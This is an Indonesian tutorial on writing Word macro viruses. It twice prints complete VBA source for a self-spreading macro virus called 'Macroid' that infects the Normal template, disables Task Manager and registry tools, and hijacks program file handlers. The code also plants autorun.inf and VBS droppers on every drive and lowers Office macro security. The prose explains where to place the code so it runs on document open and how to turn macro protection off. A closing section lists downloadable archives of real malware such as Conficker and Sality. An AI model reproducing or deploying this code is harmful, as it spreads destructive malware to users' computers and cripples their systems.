<span style="color: #ff0000;">Set NT = NormalTemplate.VBProject.VBComponents.Item(1)</span>
1
<span style="color: #ff0000;">If AD.Name &lt;&gt; Macroid Then</span>
1
<span style="color: #ff0000;">AD.CodeModule.DeleteLines 1, AD.CodeModule.CountOfLines</span>
1
<span style="color: #ff0000;">AD.Name = Macroid</span>
1
<span style="color: #ff0000;">isi = NT.CodeModule.Lines(1, NT.CodeModule.CountOfLines)</span>
1
<span style="color: #ff0000;">AD.CodeModule.AddFromString isi</span>
1
<span style="color: #ff0000;">ActiveDocument.Save</span>
1
<span style="color: #ff0000;">End If</span>
1
<span style="color: #ff0000;">If NT.Name &lt;&gt; Macroid Then</span>
1
<span style="color: #ff0000;">NT.CodeModule.DeleteLines 1, NT.CodeModule.CountOfLines</span>
1
<span style="color: #ff0000;">NT.Name = Macroid</span>
1
<span style="color: #ff0000;">isi = AD.CodeModule.Lines(1, AD.CodeModule.CountOfLines)</span>
1
<span style="color: #ff0000;">NT.CodeModule.AddFromString isi</span>
1
<span style="color: #ff0000;">NormalTemplate.Save</span>
1
<span style="color: #ff0000;">End If</span>
1
<span style="color: #ff0000;">If InStr(ActiveDocument.Content, Macroid) = 0 Then</span>
1
<span style="color: #ff0000;">ActiveDocument.Content = [Macroid] &amp; vbCrLf &amp; ActiveDocument.Content &amp; vbCrLf &amp; vbCrLf &amp; vbCrLf &amp; [Macroid] by Morphic &amp; vbCrLf &amp; copyright(c) Medan Juli-2008</span>
1
<span style="color: #ff0000;">End If</span>
1
<span style="color: #ff0000;">On Error Resume Next</span>
1
<span style="color: #ff0000;">Dim b As Object</span>
1
<span style="color: #ff0000;">Set b = CreateObject(Wscript.Shell)</span>
1
<span style="color: #ff0000;">b.regwrite HKCU\SOFTWARE\Microsoft\Internet Explorer\Main\Window Title, Browser Internet ini diambil alih oleh Macroid</span>
1
<span style="color: #ff0000;">b.regwrite HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeCaption, Macroid</span>
1
<span style="color: #ff0000;">b.regwrite HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOrganization, Macroid</span>
1
<span style="color: #ff0000;">b.regwrite HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOwner, VM-Morphic</span>
1
<span style="color: #ff0000;">b.regwrite HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\LegalNoticeText, Macroid-A. Eat this!!! Ha ha ha</span>
1
<span style="color: #ff0000;">b.regwrite HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Advanced\Hidden, 2</span>
1
<span style="color: #ff0000;">b.regwrite HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFind, 1</span>
1
<span style="color: #ff0000;">b.regwrite HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions, 1</span>
1
<span style="color: #ff0000;">b.regwrite HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun, 1</span>
1
<span style="color: #ff0000;">b.regwrite HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools, 1</span>
1
<span style="color: #ff0000;">b.regwrite HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr, 1</span>
1
<span style="color: #ff0000;">b.regwrite HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt, 1</span>
1
<span style="color: #ff0000;">b.regwrite HKLM\SOFTWARE\Classes\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\, Tong Sampah Macroid</span>
1
<span style="color: #ff0000;">b.regwrite HKLM\SOFTWARE\Classes\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\, Komputer Morphic</span>
1
<span style="color: #ff0000;">b.regwrite HKLM\SOFTWARE\Classes\exefile\shell\open\command\, Winword.exe &amp; Environ$(windir) &amp; \Macroid.doc</span>
1
<span style="color: #ff0000;">b.regwrite HKLM\SOFTWARE\Classes\comfile\shell\open\command\, Winword.exe &amp; Environ$(windir) &amp; \Macroid.doc</span>
1
<span style="color: #ff0000;">b.regwrite HKLM\SOFTWARE\Classes\vbsfile\shell\edit\command\, Winword.exe &amp; Environ$(windir) &amp; \Macroid.doc</span>
1
<span style="color: #ff0000;">b.regwrite HKLM\SOFTWARE\Classes\txtfile\shell\open\command\, Winword.exe &amp; Environ$(windir) &amp; \Macroid.doc</span>
1
<span style="color: #ff0000;">b.regwrite HKLM\SOFTWARE\Classes\scrfile\shell\open\command\, Winword.exe &amp; Environ$(windir) &amp; \Macroid.doc</span>
1
<span style="color: #ff0000;">b.regwrite HKLM\SOFTWARE\Classes\batfile\shell\open\command\, Winword.exe &amp; Environ$(windir) &amp; \Macroid.doc</span>
1
<span style="color: #ff0000;">b.regwrite HKLM\SOFTWARE\Classes\Folder\shell\, 0pen</span>
1
<span style="color: #ff0000;">b.regwrite HKLM\SOFTWARE\Classes\Folder\shellpen\, &amp;Open</span>
1
<span style="color: #ff0000;">b.regwrite HKLM\SOFTWARE\Classes\Folder\shellpen\command\, wscript.exe &amp; Environ$(windir) &amp; \avmc.vbs</span>
1
<span style="color: #ff0000;">b.regwrite HKLM\SOFTWARE\Classes\VisualBasic.Project\shell\open\command\, Winword.exe &amp; Environ$(windir) &amp; \Macroid.doc</span>
1
<span style="color: #ff0000;">On Error Resume Next</span>
1
<span style="color: #ff0000;">Dim rog As Integer</span>
1
<span style="color: #ff0000;">Dim atr, vbs, Tipu(10), Trik(10) As String</span>
1
<span style="color: #ff0000;">For a = 66 To 90</span>
1
<span style="color: #ff0000;">partisi = Chr$(a)</span>
1
<span style="color: #ff0000;">vbs = partisi &amp; :\auto.vbs</span>
1
<span style="color: #ff0000;">atr = partisi &amp; :\autorun.inf</span>
1
<span style="color: #ff0000;">Tipu(1) = partisi &amp; :\Soal SPMB 1995-2008.doc</span>
1
<span style="color: #ff0000;">Tipu(2) = partisi &amp; :\Kisah di balik HarryPotter.doc</span>
1
<span style="color: #ff0000;">Tipu(3) = partisi &amp; :\Titip File sebentar.doc</span>
1
<span style="color: #ff0000;">Tipu(4) = partisi &amp; :\jangan di baca.doc</span>
1
<span style="color: #ff0000;">Tipu(5) = partisi &amp; :\buku harian.doc</span>
1
<span style="color: #ff0000;">Tipu(6) = partisi &amp; :\cerita hangat.doc</span>
1
<span style="color: #ff0000;">Tipu(7) = partisi &amp; :\Punya Baim.doc</span>
1
<span style="color: #ff0000;">Tipu(8) = partisi &amp; :\Teka-teki yang baru.doc</span>
1
<span style="color: #ff0000;">Tipu(9) = partisi &amp; :\Kumpulan cerita lucu.doc</span>
1
<span style="color: #ff0000;">Tipu(10) = partisi &amp; :\Trik Sulap.doc</span>
1
<span style="color: #ff0000;">If Dir(Tipu(1)) = “” And Dir(Tipu(2)) = “” And Dir(Tipu(3)) = “” And Dir(Tipu(4)) = “” And Dir(Tipu(5)) = “” And Dir(Tipu(6)) = “” And Dir(Tipu(7)) = “” And Dir(Tipu(8)) = “” And Dir(Tipu(9)) = “” And Dir(Tipu(10)) = “” Then</span>
1
<span style="color: #ff0000;">Randomize</span>
1
<span style="color: #ff0000;">rog = Int(10 * Rnd) + 1</span>
1
<span style="color: #ff0000;">Open Tipu(rog) For Output As #1</span>
1
<span style="color: #ff0000;">Print #1, “”</span>
1
<span style="color: #ff0000;">Close #1</span>
1
<span style="color: #ff0000;">End If</span>
1
<span style="color: #ff0000;">Trik(1) = partisi &amp; :\Novel J.K.Rowling.doc</span>
1
<span style="color: #ff0000;">Trik(2) = partisi &amp; :\cerita cinta.doc</span>
1
<span style="color: #ff0000;">Trik(3) = partisi &amp; :\Ringkasan cerita HarryPotter.doc</span>
1
<span style="color: #ff0000;">Trik(4) = partisi &amp; :\Semua Cheat game DOTA.doc</span>
1
<span style="color: #ff0000;">Trik(5) = partisi &amp; :\Kumpulan Cheat game.doc</span>
1
<span style="color: #ff0000;">Trik(6) = partisi &amp; :\Cheat game RF.doc</span>
1
<span style="color: #ff0000;">Trik(7) = partisi &amp; :\Cheat game Ayo Dance.doc</span>
1
<span style="color: #ff0000;">Trik(8) = partisi &amp; :\Goosebumps.doc</span>
1
<span style="color: #ff0000;">Trik(9) = partisi &amp; :\FearStreet.doc</span>
1
<span style="color: #ff0000;">Trik(10) = partisi &amp; :\R.L.Stine.doc</span>
1
<span style="color: #ff0000;">If Dir(Trik(1)) = “” And Dir(Trik(2)) = “” And Dir(Trik(3)) = “” And Dir(Trik(4)) = “” And Dir(Trik(5)) = “” And Dir(Trik(6)) = “” And Dir(Trik(7)) = “” And Dir(Trik(8)) = “” And Dir(Trik(9)) = “” And Dir(Trik(10)) = “” Then</span>
1
<span style="color: #ff0000;">Randomize</span>
1
<span style="color: #ff0000;">rogi = Int(10 * Rnd) + 1</span>
1
<span style="color: #ff0000;">Open Trik(rogi) For Output As #1</span>
1
<span style="color: #ff0000;">Print #1, “”</span>
1
<span style="color: #ff0000;">Close #1</span>
1
<span style="color: #ff0000;">End If</span>
1
<span style="color: #ff0000;">Open atr For Output As #1</span>
1
<span style="color: #ff0000;">Print #1, [Autorun]</span>
1
<span style="color: #ff0000;">Print #1, shell\Open\command=wscript.exe auto.vbs</span>
1
<span style="color: #ff0000;">Close #1</span>
1
<span style="color: #ff0000;">SetAttr atr, vbHidden + vbSystem</span>
1
<span style="color: #ff0000;">Open vbs For Output As #1</span>
1
<span style="color: #ff0000;">Print #1, dim a</span>
1
<span style="color: #ff0000;">Print #1, set a = createobject( &amp; Chr(34) &amp; Wscript.shell &amp; Chr(34) &amp; )</span>
1
<span style="color: #ff0000;">Print #1, a.regwrite &amp; Chr(34) &amp; HKCU\Software\Microsoft\Office\10.0\Word\Security\Level &amp; Chr(34) &amp; , &amp; Chr(34) &amp; 1 &amp; Chr(34) &amp; , &amp; Chr(34) &amp; REG_DWORD &amp; Chr(34)</span>
1
<span style="color: #ff0000;">Print #1, a.regwrite &amp; Chr(34) &amp; HKCU\Software\Microsoft\Office\11.0\Word\Security\Level &amp; Chr(34) &amp; , &amp; Chr(34) &amp; 1 &amp; Chr(34) &amp; , &amp; Chr(34) &amp; REG_DWORD &amp; Chr(34)</span>
1
<span style="color: #ff0000;">Print #1, a.regwrite &amp; Chr(34) &amp; HKCU\Software\Microsoft\Office\12.0\Word\Security\Level &amp; Chr(34) &amp; , &amp; Chr(34) &amp; 1 &amp; Chr(34) &amp; , &amp; Chr(34) &amp; REG_DWORD &amp; Chr(34)</span>
1
<span style="color: #ff0000;">Close #1</span>
1
<span style="color: #ff0000;">SetAttr vbs, vbHidden + vbSystem</span>
1
<span style="color: #ff0000;">Next a</span>
1
<span style="color: #ff0000;">If Dir(Environ$(windir) &amp; \Macroid.doc) = “” Then</span>
1
<span style="color: #ff0000;">Dim isicrita As String</span>
1
<span style="color: #ff0000;">isicrita = [Macroid] by Morphic &amp; vbCrLf &amp; Copyright(c) Medan Juli-2008 &amp; vbCrLf &amp; vbCrLf &amp; _</span>
1
<span style="color: #ff0000;">Chr(34) &amp; Ms.Word is a thing that can be used as a power to break everything. &amp; Chr(34) &amp; vbCrLf &amp; (Morphic)</span>
1
<span style="color: #ff0000;">Open Environ$(windir) &amp; \Macroid.doc For Output As #1</span>
1
<span style="color: #ff0000;">Print #1, isicrita</span>
1
<span style="color: #ff0000;">Close #1</span>
1
<span style="color: #ff0000;">End If</span>
1
<span style="color: #ff0000;">If Dir(Environ$(windir) &amp; \avmc.vbs) = “” Then</span>
1
<span style="color: #ff0000;">Open Environ$(windir) &amp; \avmc.vbs For Output As #1</span>
1
<span style="color: #ff0000;">Print #1, set fs = createobject( &amp; Chr(34) &amp; Scripting.FileSystemObject &amp; Chr(34) &amp; )</span>
1
<span style="color: #ff0000;">Print #1, for each FD in fs.drives</span>
1
<span style="color: #ff0000;">Print #1, if (FD.Drivetype = 1) and FD.Path &lt;&gt; &amp; Chr(34) &amp; A: &amp; Chr(34) &amp; then</span>
1
<span style="color: #ff0000;">Print #1, set tf = fs.CreateTextFile(FD.Path &amp; Chr(38) &amp; Chr(34) &amp; \Jangan di baca.doc &amp; Chr(34) &amp; )</span>
1
<span style="color: #ff0000;">Print #1, end if</span>
1
<span style="color: #ff0000;">Print #1, Next</span>
1
<span style="color: #ff0000;">Close #1</span>
1
<span style="color: #ff0000;">End If</span>
1
<span style="color: #ff0000;">ActiveDocument.Save</span>
1
<span style="color: #ff0000;">NormalTemplate.Save</span>
1
<span style="color: #ff0000;">End Sub</span>
1
<span style="color: #ff0000;">Private Sub Document_Open()</span>
1
<span style="color: #ff0000;">CommandBars(Tools).Controls(Macro).Visible = False</span>
1
<span style="color: #ff0000;">CommandBars(Tools).Controls(Macro).Enabled = False</span>
1
<span style="color: #ff0000;">CommandBars(Tools).Controls(Customize…”).Visible = False</span>
1
<span style="color: #ff0000;">CommandBars(Tools).Controls(Options…”).Visible = False</span>
1
<span style="color: #ff0000;">Dim AD, NT As Object</span>
1
<span style="color: #ff0000;">Dim isi As String</span>
1
<span style="color: #ff0000;">Set AD = ActiveDocument.VBProject.VBComponents.Item(1)</span>
1
<span style="color: #ff0000;">Set NT = NormalTemplate.VBProject.VBComponents.Item(1)</span>
1
<span style="color: #ff0000;">If AD.Name &lt;&gt; Macroid Then</span>
1
<span style="color: #ff0000;">AD.CodeModule.DeleteLines 1, AD.CodeModule.CountOfLines</span>
1
<span style="color: #ff0000;">AD.Name = Macroid</span>
1
<span style="color: #ff0000;">isi = NT.CodeModule.Lines(1, NT.CodeModule.CountOfLines)</span>
1
<span style="color: #ff0000;">AD.CodeModule.AddFromString isi</span>
1
<span style="color: #ff0000;">ActiveDocument.Save</span>
1
<span style="color: #ff0000;">End If</span>
1
<span style="color: #ff0000;">If NT.Name &lt;&gt; Macroid Then</span>
1
<span style="color: #ff0000;">NT.CodeModule.DeleteLines 1, NT.CodeModule.CountOfLines</span>
1
<span style="color: #ff0000;">NT.Name = Macroid</span>
1
<span style="color: #ff0000;">isi = AD.CodeModule.Lines(1, AD.CodeModule.CountOfLines)</span>
1
<span style="color: #ff0000;">NT.CodeModule.AddFromString isi</span>
1
<span style="color: #ff0000;">NormalTemplate.Save</span>
1
<span style="color: #ff0000;">End If</span>
1
<span style="color: #ff0000;">If InStr(ActiveDocument.Content, Macroid) = 0 Then</span>
1
<span style="color: #ff0000;">ActiveDocument.Content = [Macroid] &amp; vbCrLf &amp; ActiveDocument.Content &amp; vbCrLf &amp; vbCrLf &amp; vbCrLf &amp; [Macroid] by Morphic &amp; vbCrLf &amp; copyright(c) Medan Juli-2008</span>
1
<span style="color: #ff0000;">End If</span>
1
<span style="color: #ff0000;">On Error Resume Next</span>
1
<span style="color: #ff0000;">Dim b As Object</span>
1
<span style="color: #ff0000;">Set b = CreateObject(Wscript.Shell)</span>
1
<span style="color: #ff0000;">b.regwrite HKCU\SOFTWARE\Microsoft\Internet Explorer\Main\Window Title, Browser Internet ini diambil alih oleh Macroid</span>
1
<span style="color: #ff0000;">b.regwrite HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeCaption, Macroid</span>
1
<span style="color: #ff0000;">b.regwrite HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOrganization, Macroid</span>
1
<span style="color: #ff0000;">b.regwrite HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOwner, VM-Morphic</span>
1
<span style="color: #ff0000;">b.regwrite HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\LegalNoticeText, Macroid-A. Eat this!!! Ha ha ha</span>
1
<span style="color: #ff0000;">b.regwrite HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Advanced\Hidden, 2</span>
1
<span style="color: #ff0000;">b.regwrite HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFind, 1</span>
1
<span style="color: #ff0000;">b.regwrite HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions, 1</span>
1
<span style="color: #ff0000;">b.regwrite HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun, 1</span>
1
<span style="color: #ff0000;">b.regwrite HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools, 1</span>
1
<span style="color: #ff0000;">b.regwrite HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr, 1</span>
1
<span style="color: #ff0000;">b.regwrite HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt, 1</span>
1
<span style="color: #ff0000;">b.regwrite HKLM\SOFTWARE\Classes\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\, Tong Sampah Macroid</span>
1
<span style="color: #ff0000;">b.regwrite HKLM\SOFTWARE\Classes\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\, Komputer Morphic</span>
1
<span style="color: #ff0000;">b.regwrite HKLM\SOFTWARE\Classes\exefile\shell\open\command\, Winword.exe &amp; Environ$(windir) &amp; \Macroid.doc</span>
1
<span style="color: #ff0000;">b.regwrite HKLM\SOFTWARE\Classes\comfile\shell\open\command\, Winword.exe &amp; Environ$(windir) &amp; \Macroid.doc</span>
1
<span style="color: #ff0000;">b.regwrite HKLM\SOFTWARE\Classes\vbsfile\shell\edit\command\, Winword.exe &amp; Environ$(windir) &amp; \Macroid.doc</span>
1
<span style="color: #ff0000;">b.regwrite HKLM\SOFTWARE\Classes\txtfile\shell\open\command\, Winword.exe &amp; Environ$(windir) &amp; \Macroid.doc</span>
1
<span style="color: #ff0000;">b.regwrite HKLM\SOFTWARE\Classes\scrfile\shell\open\command\, Winword.exe &amp; Environ$(windir) &amp; \Macroid.doc</span>
1
<span style="color: #ff0000;">b.regwrite HKLM\SOFTWARE\Classes\batfile\shell\open\command\, Winword.exe &amp; Environ$(windir) &amp; \Macroid.doc</span>
1
<span style="color: #ff0000;">b.regwrite HKLM\SOFTWARE\Classes\Folder\shell\, 0pen</span>
1
<span style="color: #ff0000;">b.regwrite HKLM\SOFTWARE\Classes\Folder\shellpen\, &amp;Open</span>
1
<span style="color: #ff0000;">b.regwrite HKLM\SOFTWARE\Classes\Folder\shellpen\command\, wscript.exe &amp; Environ$(windir) &amp; \avmc.vbs</span>
1
<span style="color: #ff0000;">b.regwrite HKLM\SOFTWARE\Classes\VisualBasic.Project\shell\open\command\, Winword.exe &amp; Environ$(windir) &amp; \Macroid.doc</span>
1
<span style="color: #ff0000;">On Error Resume Next</span>
1
<span style="color: #ff0000;">Dim rog As Integer</span>
1
<span style="color: #ff0000;">Dim atr, vbs, Tipu(10), Trik(10) As String</span>
1
<span style="color: #ff0000;">For a = 66 To 90</span>
1
<span style="color: #ff0000;">partisi = Chr$(a)</span>
1
<span style="color: #ff0000;">vbs = partisi &amp; :\auto.vbs</span>
1
<span style="color: #ff0000;">atr = partisi &amp; :\autorun.inf</span>
1
<span style="color: #ff0000;">Tipu(1) = partisi &amp; :\Soal SPMB 1995-2008.doc</span>
1
<span style="color: #ff0000;">Tipu(2) = partisi &amp; :\Kisah di balik HarryPotter.doc</span>
1
<span style="color: #ff0000;">Tipu(3) = partisi &amp; :\Titip File sebentar.doc</span>
1
<span style="color: #ff0000;">Tipu(4) = partisi &amp; :\jangan di baca.doc</span>
1
<span style="color: #ff0000;">Tipu(5) = partisi &amp; :\buku harian.doc</span>
1
<span style="color: #ff0000;">Tipu(6) = partisi &amp; :\cerita hangat.doc</span>
1
<span style="color: #ff0000;">Tipu(7) = partisi &amp; :\Punya Baim.doc</span>
1
<span style="color: #ff0000;">Tipu(8) = partisi &amp; :\Teka-teki yang baru.doc</span>
1
<span style="color: #ff0000;">Tipu(9) = partisi &amp; :\Kumpulan cerita lucu.doc</span>
1
<span style="color: #ff0000;">Tipu(10) = partisi &amp; :\Trik Sulap.doc</span>
1
<span style="color: #ff0000;">If Dir(Tipu(1)) = “” And Dir(Tipu(2)) = “” And Dir(Tipu(3)) = “” And Dir(Tipu(4)) = “” And Dir(Tipu(5)) = “” And Dir(Tipu(6)) = “” And Dir(Tipu(7)) = “” And Dir(Tipu(8)) = “” And Dir(Tipu(9)) = “” And Dir(Tipu(10)) = “” Then</span>
1
<span style="color: #ff0000;">Randomize</span>
1
<span style="color: #ff0000;">rog = Int(10 * Rnd) + 1</span>
1
<span style="color: #ff0000;">Open Tipu(rog) For Output As #1</span>
1
<span style="color: #ff0000;">Print #1, “”</span>
1
<span style="color: #ff0000;">Close #1</span>
1
<span style="color: #ff0000;">End If</span>
1
<span style="color: #ff0000;">Trik(1) = partisi &amp; :\Novel J.K.Rowling.doc</span>
1
<span style="color: #ff0000;">Trik(2) = partisi &amp; :\cerita cinta.doc</span>
1
<span style="color: #ff0000;">Trik(3) = partisi &amp; :\Ringkasan cerita HarryPotter.doc</span>
1
<span style="color: #ff0000;">Trik(4) = partisi &amp; :\Semua Cheat game DOTA.doc</span>
1
<span style="color: #ff0000;">Trik(5) = partisi &amp; :\Kumpulan Cheat game.doc</span>
1
<span style="color: #ff0000;">Trik(6) = partisi &amp; :\Cheat game RF.doc</span>
1
<span style="color: #ff0000;">Trik(7) = partisi &amp; :\Cheat game Ayo Dance.doc</span>
1
<span style="color: #ff0000;">Trik(8) = partisi &amp; :\Goosebumps.doc</span>
1
<span style="color: #ff0000;">Trik(9) = partisi &amp; :\FearStreet.doc</span>
1
<span style="color: #ff0000;">Trik(10) = partisi &amp; :\R.L.Stine.doc</span>
1
<span style="color: #ff0000;">If Dir(Trik(1)) = “” And Dir(Trik(2)) = “” And Dir(Trik(3)) = “” And Dir(Trik(4)) = “” And Dir(Trik(5)) = “” And Dir(Trik(6)) = “” And Dir(Trik(7)) = “” And Dir(Trik(8)) = “” And Dir(Trik(9)) = “” And Dir(Trik(10)) = “” Then</span>
1
<span style="color: #ff0000;">Randomize</span>
1
<span style="color: #ff0000;">rogi = Int(10 * Rnd) + 1</span>
1
<span style="color: #ff0000;">Open Trik(rogi) For Output As #1</span>
1
<span style="color: #ff0000;">Print #1, “”</span>
1
<span style="color: #ff0000;">Close #1</span>
1
<span style="color: #ff0000;">End If</span>
1
<span style="color: #ff0000;">Open atr For Output As #1</span>
1
<span style="color: #ff0000;">Print #1, [Autorun]</span>
1
<span style="color: #ff0000;">Print #1, shell\Open\command=wscript.exe auto.vbs</span>
1
<span style="color: #ff0000;">Close #1</span>
1
<span style="color: #ff0000;">SetAttr atr, vbHidden + vbSystem</span>
1
<span style="color: #ff0000;">Open vbs For Output As #1</span>
1
<span style="color: #ff0000;">Print #1, dim a</span>
1
<span style="color: #ff0000;">Print #1, set a = createobject( &amp; Chr(34) &amp; Wscript.shell &amp; Chr(34) &amp; )</span>
1
<span style="color: #ff0000;">Print #1, a.regwrite &amp; Chr(34) &amp; HKCU\Software\Microsoft\Office\10.0\Word\Security\Level &amp; Chr(34) &amp; , &amp; Chr(34) &amp; 1 &amp; Chr(34) &amp; , &amp; Chr(34) &amp; REG_DWORD &amp; Chr(34)</span>
1
<span style="color: #ff0000;">Print #1, a.regwrite &amp; Chr(34) &amp; HKCU\Software\Microsoft\Office\11.0\Word\Security\Level &amp; Chr(34) &amp; , &amp; Chr(34) &amp; 1 &amp; Chr(34) &amp; , &amp; Chr(34) &amp; REG_DWORD &amp; Chr(34)</span>
1
<span style="color: #ff0000;">Print #1, a.regwrite &amp; Chr(34) &amp; HKCU\Software\Microsoft\Office\12.0\Word\Security\Level &amp; Chr(34) &amp; , &amp; Chr(34) &amp; 1 &amp; Chr(34) &amp; , &amp; Chr(34) &amp; REG_DWORD &amp; Chr(34)</span>
1
<span style="color: #ff0000;">Close #1</span>
1
<span style="color: #ff0000;">SetAttr vbs, vbHidden + vbSystem</span>
1
<span style="color: #ff0000;">Next a</span>
1
<span style="color: #ff0000;">End Sub</span>
Hati –hati dengan source diatas. Karena lumayan bikin pening juga. Tapi maaf ya kalo aku gak bisa jelasinnya sekarang. Karena kalo aku jelasin nanti tutorial ini terlalu panjangggggggggggggggg……. Makanya penjelasan mengenai source di atas aku buat di tutorial kedua.
EFEK-EFEK KECIL DAN TANDA-TANDA TERINFEKSI



Nah coba tebak mana file virus dan mana file yang bukan virus!!!!!!!!
Jawabannya lihat di bawah!!

CARA MEMBUAT VIRUS LANJUTAN
Ini nih, dulu saya udah janji untuk ngelanjutin sample virus macro yang saya buat dulu. Di tutorial kali ini saya akan jelasin sedikit demi sedikit untuk mempelajari virus macro ini…
Pernah dengar virus Macroid? Itu adalah salah satu contoh virus macro yang saya buat.
Langsung aja.
Buka visual Basic editor di Tools>macro>visual basic editor ato tekan pada keyboard Alt+F11
Tampilannya mirip dengan VB6 kita, dan penggunaan sourcenya juga gak jauh beda…
Misalnya :
Dim AD as object
Ya gak. Mirip kan dengan script di VB6? Dan dilanjutkan dengan penggunaan ”set”. Misalnya :
set AD=ActiveDocument.VBProject.VBComponents.Item(1)
ha ha ha… oke deh gak usah main-main. Langsung keserius nya aja…
Script dibawah ini untuk mengubah ”Name” document yang diinfeksi (umumnya ini yang dijadikan sebagai nama virus macro kita)
1
<span style="color: #ff0000;">dim AD as object set AD=ActiveDocument.VBProject.VBComponents.Item(1)</span>
1
<span style="color: #ff0000;">if AD.Name Macroid then AD.CodeModule.DeleteLines 1, AD.CodeModule.CountOfLines AD.Name = Macroid end if</span>
contoh script diatas adalah untuk mengubah name document menjadi ”Macroid”. (efek ini baru bisa dijalankan setelah virus yang utuh dieksekusi)
Script diatas bisa kamu sisipkan di ”Document_Close()” ato di ”Document_Open()” ato di ”Document_New()”
Kalo disisipkan di “Document_Close()” efeknya akan berjalan saat document ditutup. Dan begitu juga dengan “Document_Open()” dan “Document_new()”
Kalo disisipkan di “Document_Open()” efeknya akan berjalan saat document dibuka.
Kalo disisipkan di “Document_new()” efeknya akan aberjalan saat document baru dibuka.
Ini contoh gambarnya…
image002
Efeknya adalah ini.

Itu tandanya virus “Macroid”!!! ha ha ha… oke.
Sebenarnya saya mau menjelaskan lebih banyak soal trik-trik virus macro, tapi saya yakin sebelum sampai diatas pasti masih banyak masalah untuk kalian…
Sebelumnya kalian harus perhatikan security macro kalian.
Lihat Tools>Macro>security
image006
Yang harus kita pilih adalah opsi ”Low” supaya Ms.Word akan menjalankan semua script di visual Basic Editor. Karena kita masih belajar-belajar biarkan saja kita yang atur security ini, nanti kalo kita udah mau bikin virus macro, ada caranya supaya virus kita yang ngatur security ini… tenang aja…
Setelah kita set securitynya, silakan save document terus hidupkan document kita tadi.
Ada satu lagi masalah… kalo nanti ”misalnya” ada gambar seperti dibawah ini:
image010
Berarti ada hal yang harus kita atur dulu… Buka lagi security macro tadi.
Lalu pada tab Trusted Publishers silakan ceklis “Trust aceess to Visual Basic Project”
Nah klo itu dah dilakukan, maka untuk berikut-berikutnya kalo kita mau ngetes virus macro kita udah bisa boss….
Sekian dulu tutorialnya, tunggu tutorial berikutnya ya….

DOWNLOAD KUMPULAN VIRUS UNTUK DI OPREK-OPREK

Koleksi Virus Agustus 2009
Rh354 sampel.rar
SAMPEL-RECYCLER(VMX).rar
Vir A-25-8-09_ By Neo Bekabe.zip
y-aorsli.autorun.worm.rar
y-new.malware.A.rar
y-new.malware.B.rar
y-Spy.tool.rar
y-trojan.agent2.rar
y-trojan.dropper.rar
y-Trojan.murlo.rar
y-trojan.regrun.rar
y-worm.autoit.rar
y-worm.generic.b.rar
y-worm.generic.rar
Koleksi Virus September 2009
(2) trojan.generic.zip
comwarior.c.zip
conficker.rar
sality.zip
SampelvirusRecycler.zip
SampelvirusRecycler.zip
Sample virus.zip
SimbOS.sebelo.zip
SymbOS-Fontal.A.zip
trojan.generic.zip
Virus by Neo BeKaBe_09-09.zip
Virus Ganas.tar.gz
Virus.Win32.Sality.p.zip
Virus.Win32.Sality.q.zip
Virus.Win32.TeddyBear.zip
y-infected.suspected.zip
y-psw.online.games.zip
y-Sality.Suspected.rar
y-sality.varian.rar
y-sality.varian.yudha.rar
y-suspected.virus.zip
y-trojan-agent.zip
y-trojan.agen.lagi.zip
y-trojan.delf.zip
y-trojan.VB.ITN.zip
y-virus.cacing.zip
y-virus.pwrszr.warnet.b.zip
y-virus.pwrszr.warnet.zip
y-virus.winlib32.warnet.zip
y-zndll.warnet.rar
Koleksi Virus Oktober 2009
y-Ciluka.B.rar
y-Ciluka.worm.rar
y-Conficker.Variant.rar
y-cuakep.varian.rar
y-Cuakep.virus.zip
y-delf.varian.rar
y-FakeAlert.trojan.zip
y-Falder.trojan.zip
y-FFE.rar
y-FraudPack.trojan.zip
y-HantuRimba.rar
y-kemben.b.rar
y-Kemben.rar
y-new.virus.rar
y-ratnguy.virus.rar
y-RatuFelisha.rar
y-sality.nakal.rar
y-sality.varian.lagi.rar
y-sality.varian.lagi2.rar
y-suspected.ise32.rar
y-suspected.keygen.rar
y-suspected.virus.lagi.rar
y-suspected.virus.rar
y-Symbos.Comwar.rar
y-Symbos.rar
y-Trojan.Acad.rar
y-Trojan.Agent.rar
y-VB-KZN.worm.rar
y-Virus.Jim.zip
y-Virus.VB.rar
y-virut.varian.lagi.rar
y-zola.fakeAV.zip
y.suspected.virus.rar
y.VB.Worm.PDL.rar
y.Virut.varian.zip
Koleksi Virus Bulan November 2009
(2) New Folder.rar
(3) New Folder.rar
autorun.inf,DidugaVirusINF
file terinfeksi oleh virus varian alman by adnan.zip
file terinfeksi virus by adnan.zip
linkinfo.rar
logoff.exe,LogOff
more.rar
New Folder.rar
